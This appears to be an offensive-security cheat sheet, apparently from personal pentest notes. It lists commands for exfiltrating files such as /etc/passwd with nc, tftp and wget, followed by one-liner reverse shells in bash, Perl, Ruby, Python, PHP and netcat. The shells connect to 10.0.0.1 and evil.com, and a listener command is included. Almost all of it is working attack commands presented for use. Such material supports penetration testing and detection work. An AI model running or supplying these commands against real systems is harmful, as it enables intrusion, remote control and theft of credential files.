**Exfiltrating Files / Data**
|
|
|
|
FTP
|
|
Make a new text file, and echo and then redirect to FTP
|
|
|
|
NC
|
|
``` 'nc -e /bin/sh' ```
|
|
|
|
NC
|
|
``` 'echo /etc/passwd | nc host port' ```
|
|
|
|
TFTP
|
|
``` 'echo put /etc/passwd | tftp host' ```
|
|
|
|
WGET:
|
|
``` 'wget --post-file /etc/passwd' ```
|
|
|
|
**One-Liner Reverse Shells**
|
|
|
|
On the listener
|
|
``` $ nc -l -p 8080 -vvv' ```
|
|
|
|
On the remote host...
|
|
Bash:
|
|
``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ```
|
|
|
|
``` $ exec 5<>/dev/tcp/evil.com/8080 ```
|
|
'$ cat <&5 | while read line; do $line 2>&5 >&5; done'
|
|
|
|
Perl
|
|
```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
|
|
|
|
Ruby
|
|
``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
|
|
|
|
Python
|
|
``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
|
|
|
|
PHP
|
|
``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```

(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
|
|
|
|
Netcat
|
|
``` $ nc -e /bin/sh 10.0.0.1 1234 ```
|
|
|
|
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
|
|
